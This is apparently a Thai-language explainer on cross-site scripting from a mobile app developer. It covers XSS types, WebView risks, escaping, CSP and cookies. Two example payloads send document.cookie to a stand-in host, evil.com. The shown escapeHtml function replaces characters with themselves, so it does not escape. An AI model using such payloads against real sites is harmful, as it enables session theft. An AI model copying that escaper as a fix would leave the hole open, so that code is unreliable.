XSS (Cross-Site Scripting) คือช่องโหว่ประเภทหนึ่งของเว็บแอปพลิเคชันที่ผู้โจมตีฉีดโค้ด JavaScript ที่เป็นอันตรายลงในเนื้อหาที่แสดงให้ผู้ใช้คนอื่นเห็น ตามข้อมูลของ OWASP Top Ten (2025) XSS ยังคงเป็นหนึ่งในช่องโหว่ที่พบบ่อยที่สุด ซึ่งส่งผลกระทบต่อเว็บแอปพลิเคชันมากกว่า 60% Cross-Site Scripting ช่วยให้สามารถขโมยคุกกี้เซสชัน เปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์ฟิชชิง และแก้ไขเนื้อหาของหน้าได้แบบเรียลไทม์
ประเด็นสำคัญ
XSS (Cross-Site Scripting) คือช่องโหว่ที่ช่วยให้ผู้โจมตีสามารถฉีด โค้ด JavaScript ลงในหน้าเว็บ ซึ่งจากนั้นจะทำงานในเบราว์เซอร์ของเหยื่อ เบราว์เซอร์โหลดหน้าจากเว็บไซต์ที่เชื่อถือได้และเรียกใช้สคริปต์ที่ถูกฉีดด้วยสิทธิ์เดียวกันกับโค้ดที่ถูกต้องตามกฎหมายของเว็บไซต์ สิ่งนี้ทำให้ผู้โจมตีสามารถเข้าถึงคุกกี้ พื้นที่เก็บเซสชัน ทรี DOM ของหน้า และความสามารถในการส่งคำขอในนามของเหยื่อ ช่องโหว่ XSS เกิดขึ้นเมื่อแอปพลิเคชันแทรกข้อมูลผู้ใช้ลงในหน้า HTML โดยไม่มีการ escape ที่เหมาะสม หรือการตรวจสอบความถูกต้อง
คำว่า Cross-Site Scripting ปรากฏครั้งแรกในปี 2000 ในประกาศด้านความปลอดภัยของ Microsoft ในช่วง 25 ปีที่ผ่านมา XSS ไม่ได้สูญเสียความเกี่ยวข้อง: ตามข้อมูลของ HackerOne (2025) XSS คิดเป็นประมาณ 22% ของช่องโหว่ทั้งหมดที่ลงทะเบียนบนแพลตฟอร์ม เหตุผลที่ XSS ยังคงอยู่คือความยากในการควบคุมจุดเข้าทั้งหมดของข้อมูลผู้ใช้ ฟิลด์อินพุต พารามิเตอร์ URL ส่วนหัวของคำขอ HTTP หรือชื่อไฟล์ใดๆ ก็สามารถกลายเป็นเวกเตอร์การโจมตีได้หากข้อมูลถูกสะท้อนในโค้ด HTML โดยไม่ผ่านการประมวลผล
การโจมตี XSS สามารถนำไปสู่ การขโมยคุกกี้เซสชัน ซึ่งช่วยให้ผู้โจมตีสามารถเข้าสู่บัญชีของเหยื่อได้โดยไม่ต้องใช้รหัสผ่าน ผลที่ตามมาอื่นๆ ได้แก่: การเปลี่ยนเส้นทางไปยังเว็บไซต์ฟิชชิง การปลอมแปลงเนื้อหาของหน้า การขโมยข้อมูลส่วนบุคคล และการติดตั้งมัลแวร์ (drive-by download) ในปี 2023 การโจมตี XSS บนแพลตฟอร์ม Salesforce Community Cloud ส่งผลกระทบต่อข้อมูลของลูกค้าองค์กรหลายพันราย ซึ่งแสดงให้เห็นว่าแม้แต่แพลตฟอร์มขนาดใหญ่ก็ไม่สามารถป้องกันช่องโหว่นี้ได้
การจำแนก XSS แบ่งการโจมตีออกเป็นสามประเภทหลักตามวิธีการส่งโค้ดที่เป็นอันตราย แต่ละประเภทต้องใช้วิธีการป้องกันที่แตกต่างกัน: Stored XSS ถูกบล็อกโดยการ escape เอาต์พุตจากฐานข้อมูล Reflected — โดยการ escape พารามิเตอร์ URL DOM-based — โดยการทำงานอย่างปลอดภัยกับ DOM API การเข้าใจความแตกต่างคือพื้นฐานของ กลยุทธ์ด้านความปลอดภัยที่มีประสิทธิภาพ
| ประเภท | การเก็บสคริปต์ | เวกเตอร์การส่ง | ความยากในการตรวจจับ |
|---|---|---|---|
| Stored XSS | ฐานข้อมูลเซิร์ฟเวอร์ | ความคิดเห็น โปรไฟล์ ข้อความ | ปานกลาง |
| Reflected XSS | พารามิเตอร์ URL | ลิงก์ฟิชชิง อีเมล | สูง |
| DOM-based XSS | JavaScript ฝั่งไคลเอ็นต์ | ส่วนของ URL, postMessage | สูงมาก |
ประเภท XSS ที่อันตรายที่สุด ผู้โจมตีฉีดสคริปต์ลงในข้อมูลที่เซิร์ฟเวอร์เก็บไว้ใน ฐานข้อมูล และแสดงทุกครั้งที่โหลดหน้า เวกเตอร์ทั่วไปคือฟิลด์ความคิดเห็น: ผู้โจมตีโพสต์ความคิดเห็นที่มี <script>document.location='https://evil.com/?c='+document.cookie</script> ผู้ใช้ทุกคนที่โหลดหน้าที่มีความคิดเห็นนี้จะส่งคุกกี้ของตนไปยังผู้โจมตี Stored XSS ไม่ต้องการให้เหยื่อดำเนินการใดๆ นอกจากการเยี่ยมชมหน้า — ซึ่งทำให้มัน อันตรายเป็นพิเศษสำหรับโซเชียลเน็ตเวิร์ก ฟอรัม และบล็อก
สคริปต์ที่เป็นอันตรายถูกส่งใน คำขอ HTTP (โดยปกติในพารามิเตอร์ URL) และถูกสะท้อนโดยเซิร์ฟเวอร์ในคำตอบทันที ผู้โจมตีสร้างลิงก์เช่น https://example.com/search?q=<script>...</script> และเผยแพร่ผ่านฟิชชิง โซเชียลเน็ตเวิร์ก หรืออีเมล เหยื่อเมื่อคลิกลิงก์จะได้รับหน้าที่คำค้นหาที่ป้อน (สคริปต์) ถูกแสดงโดยไม่มีการ escape Reflected XSS ต้องใช้วิศวกรรมสังคม — เหยื่อต้องคลิกลิงก์ ซึ่งช่วยลดแต่ไม่กำจัดความเสี่ยง
แตกต่างจาก Stored และ Reflected ตรงที่ DOM-based XSS ไม่ต้องการส่งข้อมูลไปยังเซิร์ฟเวอร์ ช่องโหว่เกิดขึ้นเมื่อ JavaScript ฝั่งไคลเอ็นต์ แทรกข้อมูลผู้ใช้จาก URL, document.referrer, postMessage หรือ localStorage ลงใน DOM โดยไม่มีการประมวลผลที่ปลอดภัย ตัวอย่างเช่น โค้ดเช่น document.getElementById('output').innerHTML = location.hash.substring(1) จะเรียกใช้ HTML และสคริปต์ใดๆ จากส่วนของ URL (#<img onerror='...'>) DOM-based XSS ตรวจจับได้ยากที่สุดเนื่องจากเซิร์ฟเวอร์ไม่เคยได้รับเพย์โหลดที่เป็นอันตราย — มันถูกประมวลผลทั้งหมดบนไคลเอ็นต์
// ตัวอย่าง DOM-based XSS (โค้ดที่เสี่ยง)
// หาก userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — อันตราย: แทรก HTML ดิบ
document.write('<div>' + userInput + '</div>');
// ทางเลือกที่ปลอดภัย — ใช้ textContent
document.getElementById('output').textContent = userInput;
XSS ใช้ประโยชน์จากคุณสมบัติพื้นฐานของเว็บ: เบราว์เซอร์เรียกใช้ JavaScript ที่ได้รับจากโดเมนที่เชื่อถือได้ หากผู้โจมตีหาวิธีฉีดโค้ดของตนลงในการตอบสนอง HTML ของเซิร์ฟเวอร์ เบราว์เซอร์จะเรียกใช้ด้วย สิทธิ์เดียวกัน กับโค้ดที่ถูกต้องตามกฎหมาย การโจมตีผ่านสามขั้นตอน: การฉีดโค้ดที่เป็นอันตรายลงในเนื้อหา การส่งเนื้อหาไปยังเบราว์เซอร์ของเหยื่อ และการเรียกใช้โค้ดด้วยการเข้าถึง DOM คุกกี้ และพื้นที่เก็บข้อมูล
ผู้โจมตีหาจุดเข้า — ฟิลด์ พารามิเตอร์ URL หรือส่วนหัวที่เซิร์ฟเวอร์รวมค่าไว้ในการตอบสนอง HTML โดยไม่มีการ escape จุดเข้าทั่วไปได้แก่: แถบค้นหา ฟิลด์ความคิดเห็น ชื่อผู้ใช้ URL รูปโปรไฟล์ คุกกี้ ส่วนหัว HTTP (User-Agent, Referer) เฟรมเวิร์กสมัยใหม่ (React, Angular, Vue) จะ escape เอาต์พุตโดยอัตโนมัติ แต่นักพัฒนาสามารถปิดการ escape ผ่าน dangerousSetInnerHTML, bypassSecurityTrustHtml หรือ v-html
สำหรับ Reflected XSS ผู้โจมตีจะกระจายลิงก์ที่เป็นอันตราย สำหรับ Stored XSS เพียงแค่ เผยแพร่เนื้อหา บนเว็บไซต์เป้าหมายก็เพียงพอ และผู้เยี่ยมชมหน้าทุกคนจะกลายเป็นเหยื่อ DOM-based XSS ถูกเปิดใช้งานเมื่อหน้าเว็บถูกโหลดด้วยส่วน URL ที่เฉพาะเจาะจง ทั้งสามขั้นตอนสามารถทำงานอัตโนมัติได้: หากพบ XSS ในแบนเนอร์โฆษณา (เนื้อหาของบุคคลที่สาม) การโจมตีจะส่งผลกระทบต่อผู้ใช้ทั้งหมดของเว็บไซต์จนกว่าแบนเนอร์จะถูกลบออก
// ตัวอย่าง Reflected XSS ในการค้นหา (แบ็กเอนด์ที่เสี่ยง)
// แทนที่จะ escape พารามิเตอร์ q เซิร์ฟเวอร์แทรกลงใน HTML
// Express.js — ตัวจัดการที่เสี่ยง:
app.get('/search', (req, res) => {
const query = req.query.q; // อินพุตผู้ใช้
res.send(`<h1>Results for: ${query}</h1>`);
});
// เวอร์ชันที่ปลอดภัย — การ escape ผ่าน encodeURI หรือเครื่องมือเทมเพลต:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
แอปพลิเคชันมือถือก็มีความเสี่ยงต่อการโจมตี XSS เช่นกัน แม้จะน้อยกว่าเว็บไซต์ก็ตาม เวกเตอร์หลักคือ WebView และเฟรมเวิร์กแบบไฮบริด (Cordova, Capacitor, React Native with WebView) หากแอปโหลดเนื้อหาเว็บใน WebView — โดยเฉพาะเนื้อหาผู้ใช้ (อีเมล HTML บทความ ข้อความ) — ช่องโหว่ XSS สามารถนำไปสู่การเรียกใช้ JavaScript ภายในแอปด้วยการเข้าถึงฟังก์ชันเนทีฟผ่านบริดจ์ JavaScript
Android WebView เรียกใช้ JavaScript โดยค่าเริ่มต้น หากแอปโหลดสตริง HTML ผ่าน loadDataWithBaseURL() หรือแสดงเนื้อหาผู้ใช้ การโจมตี XSS สามารถให้ผู้โจมตีเข้าถึงอินเทอร์เฟซ JavaScript (addJavascriptInterface) Google ห้ามใช้ @JavascriptInterface สำหรับ API < 17 แต่โค้ดเก่าในแอปรุ่นเก่ายังคงมีอยู่ การป้องกัน: ปิดการใช้งาน JavaScript ใน WebView หากไม่จำเป็น และใช้ การเรียกดูอย่างปลอดภัย
React Native ไม่ใช้ WebView สำหรับ UI — คอมโพเนนต์จะเรนเดอร์ในวิวเนทีฟ อย่างไรก็ตาม เมื่อแสดง HTML ผ่าน react-native-webview หรือคอมโพเนนต์ Rich Text ความเสี่ยง XSS จะกลับมา Flutter ใช้เอนจินการเรนเดอร์ของตัวเอง (Skia) และไม่รองรับ JavaScript ในวิดเจ็ต HTML (flutter_html ไม่เรียกใช้แท็ก script) แต่ปลั๊กอิน WebView (webview_flutter) ก็มีความเสี่ยงเช่นเดียวกับ WebView เนทีฟ แนวทางปฏิบัติที่ดีที่สุด — อย่าส่ง HTML ที่ไม่น่าเชื่อถือไปยัง WebView
// การกำหนดค่า WebView ที่ปลอดภัยใน Android
val webView = findViewById<WebView>(R.id.webview)
// ปิดการใช้งาน JavaScript หากไม่ต้องการการโต้ตอบ
webView.settings.javaScriptEnabled = false
// ทำความสะอาด HTML ก่อนโหลด
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
การป้องกัน XSS สร้างขึ้นบนหลักการสามประการ: อย่าเชื่อถืออินพุตของผู้ใช้, escape ก่อนเอาต์พุต, ใช้ Content Security Policy การเข้ารหัสเอาต์พุต เป็นวิธีการที่สำคัญที่สุด: ข้อมูลทั้งหมดที่ได้รับจากผู้ใช้ต้องถูก escape ก่อนที่จะแทรกลงใน HTML, JavaScript, CSS หรือ URL เครื่องมือเทมเพลตสมัยใหม่ (Twig, Handlebars, JSX, Blade) ทำสิ่งนี้โดยอัตโนมัติ เว้นแต่นักพัฒนาจะปิดการ escape ด้วยวิธีการพิเศษ
การ escape ขึ้นอยู่กับบริบทของการแทรกข้อมูล ในบริบท HTML, <, >, & และเครื่องหมายคำพูดจะถูก escape ในบริบท JavaScript, backtick,
และ </script> จะถูก escape ในบริบท CSS — อักขระควบคุม ในบริบท URL — การเข้ารหัส URL ข้อผิดพลาดของบริบท — ตัวอย่างเช่น การแทรกสตริงที่ถูก escape สำหรับ HTML ลงในแอตทริบิวต์ onclick — ไม่ได้ป้องกัน XSS เนื่องจาก onclick ทำงานใน บริบท JavaScript ซึ่งจำเป็นต้องใช้การ escape ที่แตกต่างกัน
CSP คือส่วนหัว HTTP ที่จำกัดแหล่งที่มาที่เบราว์เซอร์สามารถโหลดสคริปต์ สไตล์ และทรัพยากรอื่นๆ ได้ CSP ที่เข้มงวด (ไม่มี unsafe-inline, ไม่มี unsafe-eval) จะบล็อกการเรียกใช้สคริปต์แบบอินไลน์ใดๆ รวมถึงเวกเตอร์ XSS ตามข้อมูลของ Google Security Blog (2025) เว็บไซต์ที่มี CSP บล็อกการโจมตี XSS ได้ 95% ตัวอย่าง: Content-Security-Policy: default-src 'self'; script-src 'self' ห้ามสคริปต์ภายนอกและอินไลน์ทั้งหมด CSP ไม่ได้ป้องกัน Stored XSS หากสคริปต์ถูกโหลดจากโดเมนเดียวกัน แต่สิ่งนี้ต้องใช้ความพยายามเพิ่มเติมจากผู้โจมตี
การตั้งค่าแฟล็ก HttpOnly สำหรับคุกกี้จะป้องกันการเข้าถึงผ่าน JavaScript (document.cookie) ซึ่งจะบล็อกการขโมยคุกกี้เซสชันผ่าน XSS แฟล็ก Secure รับประกันว่าคุกกี้จะถูกส่งผ่าน HTTPS เท่านั้น การรวมกัน HttpOnly + Secure + SameSite=Lax ทำให้การขโมยคุกกี้เซสชันผ่าน XSS เป็นไปไม่ได้ในทางปฏิบัติ อย่างไรก็ตาม XSS ยังคงสามารถดำเนินการในนามของผู้ใช้ได้ (เช่น การส่งคำขอ) ดังนั้น HttpOnly จึงไม่ใช่ยาครอบจักรวาล แต่เป็นส่วนหนึ่งของการป้องกันที่ครอบคลุม
| วิธีการป้องกัน | ป้องกันการโจมตี XSS ประเภทใด | ประสิทธิภาพ |
|---|---|---|
| การ escape เอาต์พุต | Stored, Reflected, DOM-based | 99% |
| CSP | XSS แบบอินไลน์, แบบ eval | 95% |
| คุกกี้ HttpOnly | การขโมยเซสชันผ่าน XSS | 100% (อ่านไม่ได้) |
| การตรวจสอบอินพุต | Stored, Reflected | 50% (ขึ้นอยู่กับประเภท) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
การทดสอบ XSS เป็นประจำเป็นส่วนบังคับของไปป์ไลน์ CI/CD การพัฒนาที่ปลอดภัย สแกนเนอร์อัตโนมัติค้นหาช่องโหว่ XSS ได้ถึง 80% ส่วนที่เหลือต้องใช้การทดสอบเจาะระบบด้วยตนเอง แนวทางที่ดีที่สุดคือการรวมกันของการวิเคราะห์ SAST (แบบคงที่) การสแกน DAST (แบบไดนามิก) และ การตรวจสอบโค้ด ที่เน้นจุดป้อนข้อมูลผู้ใช้
สำหรับแอปพลิเคชันมือถือ การทดสอบ XSS รวมถึง การวิเคราะห์ WebView: การตรวจสอบอินเทอร์เฟซ JavaScript การจัดการสคีมา URL และการส่ง HTML ไปยัง loadDataWithBaseURL ขอแนะนำให้ทดสอบการจัดการ postMessage ในแอปพลิเคชันแบบไฮบริดและตรวจสอบข้อมูลที่ส่งผ่านบริดจ์ JavaScript ใช้อีมูเลเตอร์พร้อมพร็อกซี (Burp Suite) เพื่อดักจับและแก้ไขทราฟฟิกของแอปมือถือ
คำถามที่พบบ่อย
Stored XSS เก็บสคริปต์ที่เป็นอันตรายไว้บนเซิร์ฟเวอร์ (ในฐานข้อมูล) และจะทำงานทุกครั้งที่โหลดหน้า Reflected XSS ส่งสคริปต์ผ่านพารามิเตอร์ URL และการโจมตีจะทำงานเฉพาะเมื่อคลิกลิงก์ที่เป็นอันตราย Stored อันตรายกว่าเพราะ ไม่ต้องการการดำเนินการใดๆ จากเหยื่อ — เพียงแค่เปิดหน้าที่ติดเชื้อก็เพียงพอ
ไม่ HTTPS ไม่ได้ป้องกัน XSS HTTPS เข้ารหัสทราฟฟิกระหว่างเบราว์เซอร์และเซิร์ฟเวอร์ แต่ไม่ส่งผลต่อ การประมวลผลอินพุตของผู้ใช้ ฝั่งเซิร์ฟเวอร์ ช่องโหว่ XSS อยู่ที่ระดับแอปพลิเคชัน ไม่ใช่ระดับการขนส่ง HTTPS เป็นขั้นต่ำด้านความปลอดภัยที่จำเป็น แต่ไม่ใช่การป้องกัน XSS
ในกรณีส่วนใหญ่ XSS จะทำงานภายใน แซนด์บ็อกซ์ของเบราว์เซอร์หรือ WebView และไม่สามารถเข้าถึงระบบไฟล์หรือฮาร์ดแวร์ของอุปกรณ์ได้ อย่างไรก็ตาม ใน Android WebView ที่เปิดใช้งานอินเทอร์เฟซ JavaScript สคริปต์ XSS สามารถเรียกใช้เมธอดเนทีฟของแอปพลิเคชันได้ ใน iOS WKWebView ก็สามารถเปิดเผยข้อมูลผ่าน JavaScriptCore ได้หากมีการกำหนดค่าบริดจ์ที่เหมาะสม
ใช้ Burp Suite หรือ OWASP ZAP พร้อมพร็อกซีที่กำหนดค่าบนอุปกรณ์มือถือ ดักจับคำขอของแอปพลิเคชัน แก้ไขพารามิเตอร์ และส่งเพย์โหลด XSS ตรวจสอบ WebView สำหรับการจัดการ HTML ผ่าน loadDataWithBaseURL และการมีอยู่ของบริดจ์ JavaScript สำหรับ React Native ให้ทดสอบคอมโพเนนต์ WebView แยกต่างหาก
DOM-based XSS คือการโจมตีที่ JavaScript บนหน้า นำข้อมูลจาก URL หรือแหล่งอื่นๆ และแทรกลงใน HTML โดยไม่มีการตรวจสอบ เซิร์ฟเวอร์ไม่ได้มีส่วนร่วม — โค้ดที่เป็นอันตรายถูกประมวลผลทั้งหมดในเบราว์เซอร์ ตัวอย่างทั่วไป: เว็บไซต์นำข้อความจาก location.hash และแทรกผ่าน innerHTML ซึ่งอนุญาตให้เรียกใช้โค้ด HTML ใดๆ
สรุป
เราจะพัฒนาแอปพลิเคชันบนมือถือแบบครบวงจร
IT Sectr สร้างแอปพลิเคชัน iOS และ Android สำหรับสตาร์ทอัพและธุรกิจตั้งแต่ปี 2017 เราจะให้คำแนะนำและเสนอวิธีแก้ปัญหาที่ดีที่สุดแก่คุณ
อ่านเพิ่มเติม